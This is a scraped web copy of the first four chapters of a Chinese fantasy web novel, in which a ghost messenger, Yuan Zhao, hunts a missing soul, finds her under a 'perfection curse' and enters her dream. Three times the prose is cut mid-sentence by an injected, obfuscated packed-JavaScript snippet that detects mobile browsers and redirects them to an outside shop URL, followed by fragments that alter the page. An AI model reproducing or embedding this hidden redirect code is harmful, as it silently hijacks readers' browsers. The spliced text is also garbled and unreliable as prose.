《无常她扒了仙君马甲》 1. 治小人 腊月十五这天,日头还未完全升高,长平镇便已经热闹起来了。 沿着街摆了一溜儿摊位,熬粥的、做烧饼的、打糍糕的,连成蜿蜒的长龙。行人只消与守摊的说上一声,就能直接拿走一份。那守摊的也不吆喝,只揣着手,笑眯眯地与旁人闲谈。 炊烟从各家门前袅袅升起,在空中纠缠成浓厚的雾气。日光半遮半掩,从这雾气后慢慢绽开。 这一日是长平镇的饷食节,各家各户都要做些吃食,摆在门口请过往的行人享用。吃的人愈多,就代表着这一家来年会愈顺遂。 各家摊位都热热闹闹的,唯有西南胡同打头第二家的摊位有些古怪。不仅无人看守,桌上也只摆了两个竹篮,遮盖的白布掀开了一角,露出底下黄澄澄的花糕。 粥点摊的老板膀圆腰粗,大手抡着一柄长勺,一双小眼却不住地往空摊位上打量。半响,终于伸手捅了捅身旁的瘦高男子,挤眉弄眼道: “九娘子今日怎么没来?” 瘦高男子站直了身,随手将瓷碗里的茶汤泼在地上,嗤笑一声说:“人家将来是要做官家娘子的,哪能看上咱们的小本生意?” 说罢,两人轰地笑了起来。 他们声音不算小,隔着喧闹的人群也能听得一清二楚。一旁包子摊的妇人重重地将蒸笼盖子盖上,啐道:“欺负人家一个孤女,算什么本事?” “我说张娘子,我哪句说错了?邵家那小公子不是天天缠得紧吗?” 那张娘子也是个火爆脾气的,当下一掌拍在桌上,叉腰喝道:“人家打娘胎就指上婚了,用得着你们管?” 瘦高男子细眼高挑,有些不屑:“你怎知那邵家现在还瞧得上她?邵小公子是什么人物?怎能娶个卖花糕的?” “你!” 张娘子怒目圆睁,恨恨地将手里的布巾掷在桌上,张手朝他扑过来。 瘦高男子丝毫不惧,丢下瓷碗,扭身往大汉身后一躲。张娘子扑了个空,抄起桌上的木棍就要砸来,瘦高男子侧身避开,嬉皮笑脸道:“张娘子,你这么着急,怕不是将来想去做个养娘?哈哈哈哈哈哈——啊!” 话音未落,不知哪里飞来一团拳头大小的土块,不偏不倚地砸进他的嘴里。 瘦高男子猛地瞪大了眼,眼白往上翻,喉咙里“嗝嗝”直响,活像一只被掐断脖子的老鸭。 “谁?谁!” 原本在一旁抱手看戏的大汉吓了一跳,抄起长勺护在胸前。行人左右互相望望,摇摇头,加快脚步离开了。 张娘子也唬了一唬,随即暗笑道:“活该!” 她心情大好,笑盈盈地把木棍丢在地下,拍拍手,正准备走回自己摊位去,眼角突然闪过一抹亮色。 只见花糕摊前不知何时站了一位面生的姑娘,一身烟青色云气纹衣裙,蓬蓬乌发上斜插了一把银白玉蝉簪。 她伸手掀起白布,一截皓腕上套了十几只金钏,最底下的一只花纹繁复,波光流转,一颗玉石嵌在中间,晶光莹莹。 似是察觉到有人在看她,姑娘很快地偏过头瞥了一眼,张娘子吃了一惊,剩下的话便卡在喉咙口。 她从未见过如此白皙的人。 那张面庞白得几近透明,就像上好的瓷玉一般。在日光下看过去,竟隐隐有几分虚幻。 见张娘子表情怔忪,她忽而一笑,杏眼弯弯,唇角的梨涡浅浅地陷下去,透出一股狡黠来。 不像是寻常的女郎,倒像化了冬雪,从长平山上跑下来的小鹿。 冬风突然凶猛了几分,卷起寒气就往人衣领里钻。妇人一激灵,回过神来。 耳边男子的咒骂声喋喋不休,然而九娘子摊前却空空如也,哪有半分人影? ………………………… 密林深处,一抹烟青色斜倚在树干上。 她将一块桂花糕放近鼻尖轻嗅,右腕上的赤金钏叮当作响,细细的光芒从中溢出,线一般地注入到花糕里。 此时已是深冬,草木凋败。树下的老头来来回回将枯叶踩得嘎吱响,终于忍不住仰头喊道: “原、原昭大人,这样就能找到何九安吗?” 他口中的何九安,便是镇上做花糕的九娘子。 原昭懒洋洋道: “何九安失踪前,最后接触的就是这些花糕,顺着上面的气息就能找到。” 她灵动的眸子忽的一闪,落到老头身上,似笑非笑道: “怎么,你不信我?” “岂敢岂敢,您是五阶无常,小的哪敢不信您。” 老头面上陪着笑,心里却惆怅不已。 按照命簿规定,那个何九安本该在今日的午时三刻病故。无常会来将她的魂魄勾走送到酆都,投往下一个轮回。 作为土地公,他理应在无常来之前看好魂魄。昨天薄暮,他还特意去何家转悠了一圈,确认四下无异常后,才放心地回到了土地庙里。 然而今日一早,这个叫做原昭的无常就风风火火地闯入他的庙中,质问他何九安怎么不见了。 他吓了一跳,连忙探查了一番,却惊恐地发现竟是连何九安的魂魄都感应不到了。 丢失生魂可是要被打下十八层地狱的,一想到这个,他就双腿发抖,再看一眼身旁的姑娘,更是倍感绝望。 无常按照魂力高低可分为八阶,按理说,五阶无常已然不低。可面前这丫头只有五百年的鬼龄,而且是近几年才被派到人间勾魂的。 对方能悄无声息地将活人掳走,魂力定然比她高强。 他叹了口气,打算忽悠这丫头多出点力,于是堆起笑容,讨好道: “原昭大人,小的打四年前就见过您的本事了。还好这回是您出任务,若换了旁人,咱俩都得下十八地狱去……” 他一把眼泪一把鼻涕地哭了起来。 原昭折下一片枯叶,漫不经心道: “长平公,这可是你弄丢的魂魄,被罚也是你的事,跟我有何关系?” 长平公还未说完的恭维话卡在喉咙口,面上青白交加,甚是精彩。 “这个、这个……” 原昭饶有兴致地看着树下团团转的老头,正想再捉弄他几句。赤金钏突然猛烈地颤动起来,她抬起手,往上面轻轻吹了口气。 一道微弱的气息从北面传来,似乎还带了几分怨气。 原昭正欲细细探查,那道气息倏地不见了。 “找到了?” 长平公惊喜道。 “嗯。不过气息很微弱,随时都会消失。” 她翻身下树,把一个银白手环丢给长平公。 “我去寻何九安,你去将她的未婚夫婿邵景寻来。这是传音环,若有消息了,立即告知我。” 长平公手忙脚乱地接住,有些不解: “邵景?为何要找他?” 原昭歪着头,杏眼圆溜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854736|191640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溜的,一副天真无辜的样子,说出来的话却令人脊背发凉: "听说这二人感情甚笃,想来离别之时,定有一番好戏可看。" 长平公一惊,连敬称都顾不上,指着她的鼻子跳脚道:“你你你——” “你”了半天没有你出个所以然来,他蓦地想起之前听到的有关这位的传闻。 酆都鬼差大多都有一些奇怪癖好,例如有的爱听人间风月故事,有的专爱吓得小儿啼哭,还有的性情暴戾,专以折磨亡魂为乐。 这位倒没什么让折磨亡魂的嗜好,只一点令人头疼:她就爱看凡人之间的生离死别。 传闻她性格顽劣,手段狠辣,为看一出离别戏码不择手段。曾经有个娃娃的魂魄已经半离体了,她硬是把魂魄塞了回去,将原本可以安详离世的娃娃生生惊醒,抱着母亲哇哇大哭。 她倒好,抱着手在旁看得津津有味。 长平公敢怒不敢言,只偷偷瞥她一眼,嘟嚷道:“这大冬天的,昨夜还下了雪,上哪里去找。” 原昭不理会他,皱起鼻尖嗅了嗅,露出尖尖的虎牙: “长平公,你昨夜可是喝了酒?阎王殿主吩咐我将今岁人们供奉的酒带回去,我看你庙下埋的那些挺好的,不如就它们吧。” “你!” 原昭故作惊讶地挑了挑眉: “那几坛没有酆都的标记,想来是人间新上供的。长平公,你莫不是想私吞吧?” 话里的威胁意味甚重,长平公气结,却又无计可施。 根据酆都例法规定,人间供奉的一律物件须得登记在册,再由各殿殿主分配使用,擅用者将按贿赂罪处置。 他愤愤然地握住传音环,一双小眼将原昭从头到脚剐了一遍,这才憋屈地走了。 原昭弯起唇角,将目光投向北面。 高山密林,林子间半点风声也无,只有枯叶落地时发出的轻微喀嚓声。不知何处的鸟雀惊慌啼叫了一声,随即便传来翅羽扑棱棱落下的声响。 她身形一晃,眨眼间出现在十丈开外。 两侧树木飞快后退,她不动声色地打量着四周,魂力悄然运转起来。 噗嗤。 有什么东西被刺破了。 原昭瞳孔一缩,身形骤然消散。 砰地一声,几道粗长的黑影撞在一起,立即纠成一道浓厚的黑气追了上来。 赤金钏上的玉石如滴血般红艳,瞬间化作青金色的长鞭。她握住长鞭,反手劈开黑气,余光又见新的攻击袭来,冷笑一声就往林深处钻去。 一青一黑两道光影在林间急窜,眼看要撞上前方枝繁叶茂的高大烨树,原昭忽然急掉方向,往树顶掠去,手掌狠拍在树干上,顿时立起一块碧玉般的屏障。 黑气猝不及防,连头接尾地撞在上面,瞬间被吞噬得一干二净。 砰! 哗—— 枯叶唰唰抖落,原昭纵到树顶,手中的长鞭在日光下金光粼粼。她笑意盈盈地,拂去落在乌色鞭柄上的枯叶,叹息道: “哎呀,我当是什么厉害角色呢,原来找了个眼神不好使的,连我在哪里都看不清楚。” 轰!! 话音刚落,一个通体漆黑的家伙拔地而起,红目森然扫向她的方向。周身黑雾缭绕,变幻出千万张痛苦扭曲的人脸,个个伸着枯瘦的长手,相互撕扯拉咬,争先恐后地往顶部爬去。 那是……罔鬼。 2. 入旧梦 罔鬼由人的影子演化而生,成形后又专以活人为食。凡是被吞食的人的脸庞就会浮现在罔鬼身上,最终变成现在这个模样。 这般罕见精怪,饶是原昭也没见过几次。她目中起了一丝兴味,挑衅地朝罔鬼吹了声口哨。 那妖怪生性好斗,岂肯忍下这口气?当即怒吼一声扑了上来。 原昭狡黠地笑了笑,突然纵身一跃,仰面朝上,长鞭猛地离手,金光大闪,精准缠在黑雾身上。 寸寸绞紧,竟是将它牢牢栓在其中。 那几千张人脸扭成一团,不断地尖声哀嚎。罔鬼死死地盯着她,一双红瞳里满是怨恨。她冷哼一声,欺身而上,掌心聚起光芒,朝着罔鬼头顶就要重重拍下。 远方突然遥遥传来一声长啸,罔鬼浑身一震,瞳孔深处陡然光芒大盛。通身黑雾齐齐逸出,竟然硬生生将缠绕在身上的长鞭破开。 原昭略有些惊异,掌心劲气反手推出。罔鬼仿佛如有神助,在地上滚了几圈,生生躲开。眼中闪过一丝不甘与恶毒,仰天长鸣一声,转身朝着啸声来处急奔。 原昭心中一动,提鞭跟了上去。 那罔鬼脚下极快,将沿途掠过的高树掀得七摇八晃。原昭不远不近地跟着它,掌心光芒一吞一吐,随时准备应付突然出现的敌袭。 两道身影一前一后地在林间追赶许久,她耐心终于告罄,脚尖轻点正打算将它擒住好好逼问一番。罔鬼突然回身,喷出一大口浓郁的黑气。那黑气又幻出一张人脸,呜呜哀嚎着向她袭来。 长鞭蛇一般缠上黑气,金光一绞,然而那黑气不减反增,渐渐弥漫在整个林子上空。林间霎时暗沉,寒意骤降,原昭轻点落地,刺骨的冰寒从她足下蔓延上来。 “原大人。” 耳边突然响起一道若有若无的叹息,紧接着,一双冰冷细长的手攀上了她的脖颈。 “谁?!” “原大人,”那声音如泣如诉,又低低地唤了一句,“饶了我。” 她猛地回头,身后空空如也,半分人影也没有。 “是我们呀,原大人。”暗处中,又有一个女子咯咯笑了起来。 她忽然记起这道声音的主人,心下一惊,抬眸望去,却发觉原先的密林早已不见了踪影。 四面不知何时变成了耸入云天的冰山,山顶与穹庐相接,连成白茫茫一片。山下冰池咕嘟咕嘟地涌着气泡,隐约可见无数身影在池水中挣扎,哀嚎遍野。 这是……十八层地狱中的极寒狱。 原昭回过神来,知晓自己怕是落入了敌人的幻境。 在成为无常之前,她在极寒狱中做过四百年的督刑官。 而方才那些声音,皆是曾在极寒狱中,被她宣读过刑罚的鬼魂。 “原大人,原大人!” “原大人,饶了我吧!” “求求你了原大人!” 风声忽地凄厉,似乎有十几道声音同时在她耳边苦苦哀求。湿冷寒意从足底缠绕上来,蛇一般锁住她的脚踝、手腕和喉咙。 在飕飕寒风中,她忽然嗅到了一丝……鱼腥味? 还未等她弄明白这气味的来源,那女声又幽幽唤她。 “原大人……” 耳畔的哀求声陡然凌厉,似有无数道声音从四面八方卷来,咬牙切齿地喝道: “去死吧!” 刹那间,空中显出密密的鬼影,无数双枯瘦鬼手争先恐后地向她抓来,尖刀利斧迎头劈下。原昭缓缓闭上双眼,手中幻出青金利刃,骤然捏紧! 她的身形鬼魅一扭,反手向身后疾刺而出! 噗嗤! 风声静滞了一瞬,周围的景色急速褪去,冰川、寒池、恶鬼陡然消失得一干二净。 “吼!!!!” 罔鬼惨叫一声,重重地砸落地面,震得周身高树的树叶簌簌落下。原昭睁开眼,看着眼前倒在地上不知死活的妖怪,冷哼一声,徒手拨开它身上的黑雾,揪出一个黑脸小怪。 “你、你怎么……” 她看着眼前抖如筛糠的妖怪,粲然一笑。 “你是想说,我怎么能从幻境中挣脱出来?” 鞭柄划过对方发颤的脖颈,停在了下颌处。 “因为幻境里的那些哀嚎声,比起真正的恶鬼,差、远、了。” ………………………… “我说,我说!” 黑脸白须的小妖怪惊叫一声,慌忙举起手来,手腕上明晃晃一圈圆状鱼纹。原昭目光在上面转了一转,冷声道:“豚鱼精?” 豚鱼族是江浙一带常见的鱼妖,生性聪慧,具有致幻的能力。但它们性情向来温和,几乎从不主动伤人,怎么会出现在这里。 豚鱼精觑了原昭一眼,小心翼翼地将脑袋从刀刃旁移开。 “我也不是有意的,是那个黑衣人,说、说有个姑娘睡着了,让我帮她做一场美梦。如果成功的话,就帮我稳固灵根。我心想,做一个梦罢了,没什么大不了的,就帮了他。”它越说越小声。 “黑衣人?”原昭蹙眉道,“然后呢?” “他给了我一张符纸,又让那个大妖怪,”它指了指倒在地上的罔鬼,小声道:“将我带到这里来,说若是有人靠近了,把魂力注入到符纸中,就能把对方给困住了。” 原昭回想起方才的幻梦,有些心惊。 若它所说的是真的,那么那张符纸,或许有着勾起人心中最深处情感和想法的能力。 她收起利刃,命令道:“带我过去。” 豚鱼精一双小眼不安地左右瞟视:“我、我来时走的是水路,不认得岸上的路……”它不自觉地越说越低,最后在原昭的注视下,默默将后半截话吞回肚子里。 “不认得?” 原昭轻笑一声,扬手就将长鞭掷进河里。只听得“扑通”一声,那鞭子居然变成一叶小舟,随着水波晃荡,船头一条长绳静静地漂在水面上。 豚鱼精目瞪口呆,心里忽然起了些不好的预感。 原昭纵到舟上,朝船头扬了扬下巴: “还不快去?” 豚鱼精嘴一撇,哭丧着脸走向船头,摇身一变,变成一条黑斑大鱼。 它滑进水里,从水下钻上去,尖齿咬住长绳,一甩鱼尾,拉着小舟往前游。 原昭右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854737|191640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手搭在船舷上,有一搭没一搭地轻轻扣着,心里还在想着刚刚豚鱼精说的话。 它说,那个黑衣人只是让它帮何九安做一场美梦,若真是如此,何必将她带到这么远的地方? 但如果是害她,一场美梦又有什么作用呢? 原昭蹙着眉头陷入了沉思,隐隐觉得,这件事情恐怕比自己所想象的还要复杂。 鱼尾将水花拍得哗哗作响,不知不觉间,两岸逐渐收紧。约莫一炷香的功夫,豚鱼精拖着小舟在一处山谷中停了下来。 “到了。” 深谷幽静,枯叶在地上厚厚地铺了一层,几棵足有合抱之围的粗大榕树将天光挡得干干净净。原昭跳下船,反手将正准备偷偷溜走的豚鱼精拽起来,踏着枯叶往深处走。 不多时,便见到了一个山洞,洞口堆了一块半人高的大石,上面随意搭了几根树枝。豚鱼精一喜,加快脚步就要闯上去。原昭拎着它的后脖颈把它拖了回来。 她指了指巨石:“你没发现,这上面被符文锁住了吗?” “啊?” 豚鱼精瞪大了眼,几乎要把鼻尖凑了上去:“哪有啊?” 原昭指尖弹出三条青金小蛇,钻进大石的中心位置和左右两侧。不消片刻,巨石上忽然浮现出隐隐约约的黑色符纹,很快就在金光闪烁间被烧得干干净净。 豚鱼精咽了下口水,这才走上前去,小心翼翼地把大石推到一遍。 两人走进洞里。洞内寒凉,寂静无声,连脚下枯枝折断的声音都听得一清二楚。原昭拇指轻轻地在鞭柄上摩挲几下,乌木鞭柄上的玉石亮了起来,莹莹照亮了他们脚下的一小块地方。 约莫走了二十余步,原昭隐约瞧见前面有一张石榻,一团黑影蜷缩在了榻上。 “对!就是她!我这就给她解咒。” 豚鱼精松了一口气,正要上前为女子解咒,原昭忽然伸手拦住它。 “等等。” “怎、怎么了?” 她没有说话,只是慢慢踱步上去,俯下身,用乌木鞭柄上的玉石照亮了女子的面庞。 女子双颊深陷,眉尾一点青色小痣,确实与命簿上记载的何九安如出一辙。 她薄纸一般地躺在石榻上,面色苍白,唇角微微扬起,似是沉浸在欢愉的美梦之中。眉心却笼罩着一股淡淡的黑气,是将死之人不甘的怨念。 若真如豚鱼精所说,是在美梦中沉沉睡去,那她此刻又为何会饱含怨气呢? 原昭蹙起眉,掌心聚起青光,一寸一寸扫过女子的身体。 豚鱼精在她身后焦灼地搓着手,抬眼偷瞄了几次,终于忍不住,硬着头皮唤道:“大、大人……” “别出声!”她的声音陡然凌厉。 豚鱼精不敢说话了。 青色光芒在那具瘦弱身躯上缓慢游走,来回扫过几番,锁骨下方终于缓缓浮现出一枚半个巴掌大小的乌黑符印。 纹路奇诡,寒气森森,深深嵌进女子的皮肉中,原昭瞳孔一缩,猛地收回手。 豚鱼精连忙伸长脖子看了一眼,顿时忍不住打了个寒颤。 “大人,这、这是……” 3. 初相遇 原昭平复了下心情,沉声道:“这是圆满咒。” “圆满咒?”豚鱼精愕然,“这听起来似乎是个好名字。” 原昭看了它一眼,冷哼道:“好名字?” 圆满咒,顾名思义,就是能给予人圆满的咒语。它一般被用在濒死之人身上,能给这些人打造一场弥补所有缺憾的幻梦。 名落孙山者可以纵马长安,功败垂成者可以如愿以偿,错过终身者可以再度重逢。一切未有之事,皆可以幻以为真。 但这不过是幻觉。 命定的时辰不会因个人意愿推迟或提前。当中咒人身死的一刻,魂魄会骤然惊醒,发现此前种种皆是幻梦,轻则神智错乱、魂魄受损,重则走火入魔,堕成怨鬼,甚至魂飞魄散。 “所以,所谓圆满,并非美好祝愿,而是一种诅咒。我这样说,你可听得明白?”原昭双手抱胸,淡淡道。 她每说一句,豚鱼精的脸色就白一分。她话还没说完,豚鱼精一张黑脸已经白得跟纸一样,战战兢兢道:“大人,这真不是我干的,我、我做不到啊!” 它说的确实没错,它一个灵根不稳的小豚鱼精,确实没有设下圆满咒的本领,但若说与它完全无关…… 原昭看了它一眼,突然抓起它的手臂,双指飞快制在它的腕上。 “痛痛痛痛——” 原昭沉吟半响,松开它的手腕。 “你说的没错,你确实没有施咒的本领,但这圆满咒,却也和你有关系。” “欸?”豚鱼精抱着手臂,有些傻眼。 她指着昏睡的女子道:“施咒的或许另有其人,但或许因为是你让她陷入幻觉的,这道咒语的因果现在系在了你身上。而除了你之外,我感受不到其他人的气息。” 她顿了顿,沉声道:“换而言之,如果她真的魂飞魄散,你,要承担全部干系。” “这,怎么会这样?”豚鱼精大惊失色。 是啊,为何会这样? 拥有这般力量的,起码是高阶的妖精鬼怪。但无论是谁,但凡是在三界之中的,行事就一定会留下痕迹,承担因果。这是三界之中亘古不变的法则。 然而何九安身上却没有留下任何的痕迹,即便是豚鱼精的气息,也只是停留在最表面的一道美梦符咒中,并非直接种在圆满咒上。 也就是说,下咒之人是有备而来,经过精心谋划后设下了这么一个局。 但何九安一介平凡孤女,到底有什么值得如此大费周章的呢? “原大人?原大人?” 传音环里突然响起长平公忐忑又焦急的声音:“如何了?” “人找到了,但是中了圆满咒。”原昭摸出传音环,简单地将事情来龙去脉解释了一遍。 “圆满咒?”长平公大惊失色。 圆满咒之所以是诛心之咒,还在于它极难破解。濒死之人的魂魄极其不稳,若强行把他们唤醒,虚实变化之间,魂魄可能会因惊吓过度而提前离世,反而误了命数。 但若放任何九安成了怨鬼…… 那他和原昭少说都得被扣上一个监管不力的罪名,被贬去十八层地狱里干个几十年。 长平公只觉得天都要塌下来,忙道:“原大人,我这就回去。咱们合力把这小妖怪抓回去交差,到时候再一口咬死不知道……” 应该能少判个几年吧? “大人,我真不是有意的。”豚鱼精哭丧着脸。 早知道会这样,借它一百个胆它也不敢啊! 原昭没有回答,只是重新俯下身,再次细细查看面前的女子。 宽大的粗布衣裙罩在女子身上,显得格外空荡荡。双唇微张,露出两个小小虎牙,一派娇憨天真,冲弱了几分唇色的苍白。然而眉心却紧蹙,似蕴含着无尽哀愁。 原昭轻轻拂过她眉中的黑气,那黑气绵绵散开又聚拢,始终不去。 何九安,即使在美梦中,你也心有不甘吗? 忽然间,睡梦中的女子一颤,干裂的嘴唇微微开合,吐出几句模糊不清的呓语。 “阿娘、爹爹……” 那声音极轻极轻,像是细小鱼儿轻吐的水泡,顷刻便消散得无影无踪。原昭还未来得及捕捉她的尾音,耳边就只余长平公和豚鱼精喋喋不休的争吵声。 “冤枉啊大人——” “你这小妖怪,竟然还敢狡辩!” 她揉了揉额头,打断了二人的争执。 “不用回来了,长平公,你继续去寻邵景吧。” “……欸?” “怨鬼虽然是鬼,但终究是由人化成的,若是能听见亲近之人的声音,兴许能平复几分怨气。” “原来如此。”长平公恍然大悟,“那您呢?” 原昭平静道:“我会进到幻境里,把她唤醒。” “啊?”长平公彻底傻眼。 圆满咒深植于人的七魄,若要唤醒她,破咒人必须以魂魄形态深入到幻境中,让她自发地醒转。若时辰到了还未能醒来,那幻境破裂时的冲击力,足以将破咒人的魂魄震成碎片。 虽然说何九安是很可怜啦,但凡人变成怨鬼的比比皆是,多她一个不多,少她一个不少,如果救她的代价是魂飞魄散…… 长平公有些感动,没想到原昭竟然愿意为了一个凡人奋不顾身,此前他还对她有着诸多误解,现在想来,当真是他一叶障目,鼠目寸光了。 但陡然进入幻境确实风险重重,长平公真心实意劝告道:“原大人,您倒也不必……” 还没等他说完,原昭的语气竟然兴奋起来:“这两人是青梅竹马、情谊深厚,长平公,你难道不觉得,他们分别时一定很精彩、很好看吗?” “……”是他低估了这家伙的变态程度。 “那、那你也不能……”他嘟嘟嚷嚷。 原昭听出了他的不乐意,眼珠一转,道:“唔,如今距离何九安离世还有两个时辰,若你没能将邵景带过来,你那些酒……” 她故意拉长了尾音。 那头“砰”的一声巨响,长平公抽抽几口凉气,咬牙切齿道:“好,好,你等着。” 说罢,他怒气冲冲地掐断了传音环。原昭笑了笑,将传音环扣回腕上,念了句诀,那手环变得透明,没入腕中消失不见。 “大人,”身侧的豚鱼精忽然开了口:“有什么……我可以做的吗?” “噢?”原昭侧目。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854738|191640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>它捏紧拳头,抬头看着她,目光坚定:“何姑娘变成现在这个样子,都怪我识人不清。有什么是我能帮上您的吗?” 又像是怕原昭不信任它,连忙道:“您要是不相信我,可以用些法术把我锁起来,我、我都听您的。” 它一脸懊恼,连鱼须都耷拉下来。原昭想了想,从怀中掏出一张符箓,递给豚鱼精。 “往上面吹一口气。” 豚鱼精有些忐忑,但还是依言照做,朝符箓上吹了口气。只见符纹寸寸亮起,几个庞大虚影腾跃而出,齐齐仰天长啸一声,分头奔向八个方向,遁入虚空消失不见。 豚鱼精目瞪口呆地看着,半天合不拢嘴,缓缓扭过头来:“大人,这、这是?” “这是八兽阵,是我从近些年收服的八只凶妖身上各取一点精血制成的,只是至少需以一个活物作为阵眼。现在你坐阵眼之位,八兽坐八方,虽无攻敌之效,但也能抵御来袭。” 当然,也出不去了就是。 “好、好的。”豚鱼精感受着头顶上不知是青银豹还是赤毛虎的气息,颤巍巍道。 一切料理完毕,原昭转过身来,侧坐在石榻下。 女子仍然沉沉地睡着,右手枕在脸颊下,宽大的袖口处不知何时掉出了一截红绳。原昭轻咦一声,勾过红绳,一面巴掌大的铜镜从袖中滑了出来。 镜面如盈盈池水般清澈明亮,许是在何九安身侧待久了,摸上去半温半凉。红绳上还系着一块木牌,原昭翻过来一看,上面刻了四个刚健小字:长平九景。 师傅曾经告诫过她,在他人魂魄和现世之间跳转并非易事,若有一日不得已要进入他人的魂魄中,必须要备好后手,防止自己被困在其中无法脱身。 而最常见的方法,就是寻一样何九安的贴身物品,作为跳转的“桥梁”。 原昭右手绕过红绳,与何九安的手背相贴,左手捏诀。腰间赤金鞭节节亮起,如金玉带般环绕着她,缕缕金光游走全身,最后汇入红绳,钻进何九安的手掌中消失不见。 刺眼白光自何九安身上乍然而起,急剧放大,最终化作一股强劲的吸力将她拖了进去。 豚鱼精的惊叫声倏然消失,取而代之的是尖厉风声,几乎要贯穿她的魂体。原昭只觉得身子飞快下坠,巨大的压力迫得她睁不开眼,还未等她反应过来,身子已经撞上一棵大树,又狠狠地跌落在地。 只是……似乎没有想象中的疼痛? 一缕幽香钻进她的鼻尖,她睁开眼,便见到一帘桂花迎风摇曳,金黄的花骨朵簌簌落下,柔柔地拂过她的面颊。 然而此刻她早已没有了赏花的心思,咽了下口水,缓缓地低下头。 一张清隽面容率先映入眼帘。 容仪如玉,眉目疏朗,似是明月清辉流转。 又是一阵风起,挟着一瓣金桂落在那人微抿的薄唇上,打了个转儿,又跌入修长脖颈中。 月白长袍上沾染了细碎金芒,平添了几分清贵。 那金桂踌躇片刻,终于在风的推搡下,不情不愿地滑进那微敞的素色衣领中。 “姑娘可有摔疼了?” 青年的声音突起,如冰泉叮叮击打寒玉一般,清冽沉静。 4. 一相瞒 原昭反应过来,将足尖一点,立即纵开一丈之远。白衣青年也迅速起身,拍落身上的尘土,理好衣领,抬头看她。 “你是谁?” “你是谁?” 话音落下,一条纤细的红绳忽然从两人的袖管间垂垂坠下。 两人皆是一怔,又异口同声道: “你是那面铜镜?” “你系了铜镜上的红绳?” 此话一出,两人皆已明了,当下面色都有些古怪。 镜灵生于明镜之中,灵智较高,是天地间极有修行天赋的一个种族。据说天上月老殿中最年轻的仙官——衡镜仙官,就是镜灵一族出身的。 “你既是铜镜的镜灵,那你可知何九安去了何处?” 青年却不直接回答,而是向她揖了一礼,道:“在下苏问衡,敢问姑娘为何而来?” 还挺谨慎。 原昭从怀中摸出腰牌,在他面前一亮:“我是酆都差使,为救人而来。” “姑娘从何救人?” 原昭觉得他这问题问得奇怪:“自然是从幻梦中救人。” “原来如此。”苏问衡点点头,“那姑娘可以回去了。” “……什么意思?”原昭杏眼微眯。 苏问衡看着她,温声道:“圆满咒深植于人的七魄中,贸然将她惊醒可能会误了命数,此乃其一;既然死数已经不可更改,不如让她于梦中长眠,也免了醒来之后经历锥心之痛,此乃其二。” 他端端然立于树下,倒像是学堂里平易近人的年轻夫子,对着叛逆的学生循循善诱,实在是有些…… 令人生厌。 她倒是忘了,镜灵一族向来亲近天道,满口都是天命既定的大道理,似乎这世间只有它们奉行的天命,却无天命下的人了。 原昭忽的一笑,抬手弹去赤金钏上的灰尘,慢条斯理道:“这可不行,我还没看到那两人生离死别呢,怎么,你给我补上?” 苏问衡面色微沉:“将凡人苦难当作儿戏,实不是鬼差应有的态度。” “你若有能耐,就去阎王殿前弹劾我。”原昭淡淡道,“我再问你一次,你到底是让还不让?” 他摇了摇头,目中似有歉意:“在下无可避让。” 原昭倒也不意外,挥手急抽,一条青光凝成的软鞭快速击向青年。苏问衡反应极快,左足擦地,向后倾斜,堪堪避过。原昭哼了一声,扭过鞭身,朝着他左侧的脖颈打去。 比起费口舌,果然还是打架更适合她一些。 苏问衡默立原地,眼看长鞭就要扫过他的肩头,他眸中闪过一道白光,抬起左手,就这样徒手抓住了鞭子。 原昭吃了一惊,下意识地往回拉,却是没着没落地拉了个空,好像手中长鞭突然消失了一般。 然而定睛一看,鞭子还好好端地呆在原地,纹丝不动。 苏问衡仿若无物地将鞭身攥在手心里,任凭原昭怎么拉扯都不松手,语气仍然温和:“幻境尚未完全闭合,姑娘仍可照着原路返回。” 说罢,他目中的白光陡然又亮了几分,青鞭仿佛火中融化的坚冰,一点点地消失。原昭手中一空,眸光一沉,双手飞快结印。 原本消失了半截的长鞭又一寸一寸地亮了起来,比先前的还要明艳几分。苏问衡一怔,就要再次催动术法,原昭却不给他机会,使了个“鹞子翻身”的招式闪掠在他眼前。 他只觉得眼前一花,顿时撞进了一双似笑非笑的黑亮瞳仁里。还未做出反应,一双冰冷彻骨的手就覆上了他的眼睛。少女欺身贴近,在他的耳边低低喝道:“别动!” 长鞭裹着风声,左三圈右三圈地将苏问衡牢牢锁住。原昭一手捂着他的眼睛,腾出一只手幻出黑布,一把扣在他脸上,三两下打了结。 这下看他还怎么用那双奇怪的眼睛作祟。 她绕到青年面前,手腕一翻,一把锋利匕首出现在手中,用刀尖挑起他的下颌,盯着他道:“说,你到底来这里干什么?” 苏问衡身上被五花大绑,眼上蒙着黑布,却依旧不慌不忙:“在下说了,只为天命而来,并无恶意。” 